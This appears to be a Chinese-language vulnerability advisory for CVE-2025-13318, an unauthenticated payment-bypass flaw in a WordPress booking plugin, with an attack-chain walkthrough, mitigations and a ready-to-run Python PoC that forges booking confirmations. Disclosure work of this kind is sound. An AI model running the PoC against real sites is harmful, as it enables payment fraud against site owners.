IPBUF安全漏洞报告
English
CVE-2025-13318 CVSS 5.3 中危

CVE-2025-13318 WordPress Booking Calendar Contact Form 插件越权漏洞

披露日期: 2025-11-22

漏洞信息

漏洞编号
CVE-2025-13318
漏洞类型
缺失授权 (Missing Authorization)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Booking Calendar Contact Form (WordPress插件)

相关标签

WordPress插件漏洞缺失授权越权访问支付绕过CVE-2025-13318Booking Calendar Contact FormIPN验证缺陷无认证攻击

漏洞概述

CVE-2025-13318是WordPress平台上一款广受欢迎的预订日历联系表单插件(Booking Calendar Contact Form)的安全漏洞。该插件为网站提供了在线预订和预约管理功能,被众多企业和个人用户用于管理预订流程。然而,在1.2.60及之前的所有版本中,插件的支付验证机制存在严重的授权缺陷。攻击者可以利用这一漏洞,在无需任何认证的情况下,通过构造特定的HTTP请求参数(dex_bccf_ipn),任意确认用户的预订订单,并完全绕过支付验证流程。这意味着攻击者可以免费享受原本需要付费的服务或产品,给网站所有者造成直接的经济损失。此漏洞的CVSS评分为5.3,属于中等严重程度,但由于其利用门槛极低(无需认证),且攻击向量简单明确,实际威胁程度不容忽视。该漏洞由Wordfence安全团队的安全研究人员发现并报告,披露日期为2025年11月22日。

技术细节

该漏洞的根本原因在于插件的`dex_bccf_check_IPN_verification`函数存在严重的访问控制缺陷。具体问题包括:1) 缺少权限检查:函数未验证请求是否来自已认证的合法用户或管理员;2) 支付验证不完整:函数未正确验证IPN(Instant Payment Notification)支付通知的真实性;3) 直接对象引用:预订确认逻辑依赖于用户可控的参数(dex_bccf_ipn),且服务器端未进行充分的验证。攻击者只需构造一个带有特定参数的HTTP POST请求,即可触发预订确认逻辑。具体来说,当攻击者发送包含dex_bccf_ipn参数的请求时,服务器会将其视为合法的支付确认通知,跳过正常的支付验证流程,直接将对应的预订状态更新为已确认。这种设计缺陷使得任何访问到该端点的用户都能执行原本需要管理员权限或支付验证才能完成的操作。

攻击链分析

STEP 1
步骤1
攻击者识别使用Booking Calendar Contact Form插件(版本<=1.2.60)的WordPress网站
STEP 2
步骤2
攻击者访问站点的wp-admin/admin-ajax.php端点,该端点处理IPN回调请求
STEP 3
步骤3
攻击者构造恶意的HTTP POST请求,包含dex_bccf_ipn参数和任意booking_id
STEP 4
步骤4
由于插件缺少授权检查,服务器直接处理请求并调用dex_bccf_check_IPN_verification函数
STEP 5
步骤5
漏洞函数跳过支付验证逻辑,将指定booking_id对应的预订状态更新为'已确认'
STEP 6
步骤6
攻击者成功绕过支付要求,预订被确认但无需实际付款,造成网站经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13318 PoC - Booking Calendar Contact Form Missing Authorization This PoC demonstrates the authorization bypass vulnerability in the Booking Calendar Contact Form plugin for WordPress. """ import requests import sys def exploit_cve_2025_13318(target_url, booking_id): """ Exploit the missing authorization vulnerability. Args: target_url: Base URL of the WordPress site booking_id: The booking ID to confirm without payment Returns: bool: True if exploitation appears successful """ # Vulnerable endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft the malicious request # The 'dex_bccf_ipn' parameter triggers the vulnerable function # without any authorization or payment verification payload = { 'action': 'dex_bccf_ipn', 'dex_bccf_ipn': booking_id, 'payment_status': 'completed', 'txn_id': 'EXPLOIT_' + str(booking_id) } try: print(f"[*] Sending exploit request to: {endpoint}") print(f"[*] Targeting booking ID: {booking_id}") # Send the request (no authentication required) response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") # Check if the request was processed if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Booking should now be confirmed without payment verification") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <booking_id>") print(f"Example: {sys.argv[0]} http://example.com 12345") sys.exit(1) target_url = sys.argv[1].rstrip('/') booking_id = sys.argv[2] print("=" * 60) print("CVE-2025-13318 - Booking Calendar Contact Form Exploit") print("=" * 60) exploit_cve_2025_13318(target_url, booking_id) if __name__ == '__main__': main()

影响范围

Booking Calendar Contact Form <= 1.2.60 (所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 使用Web应用防火墙规则阻止异常的IPN请求;2) 临时禁用插件的支付确认功能,改为手动确认预订;3) 监控服务器日志,查找异常的admin-ajax.php请求模式;4) 限制未认证用户对关键AJAX端点的访问;5) 联系插件开发者获取安全补丁或临时解决方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表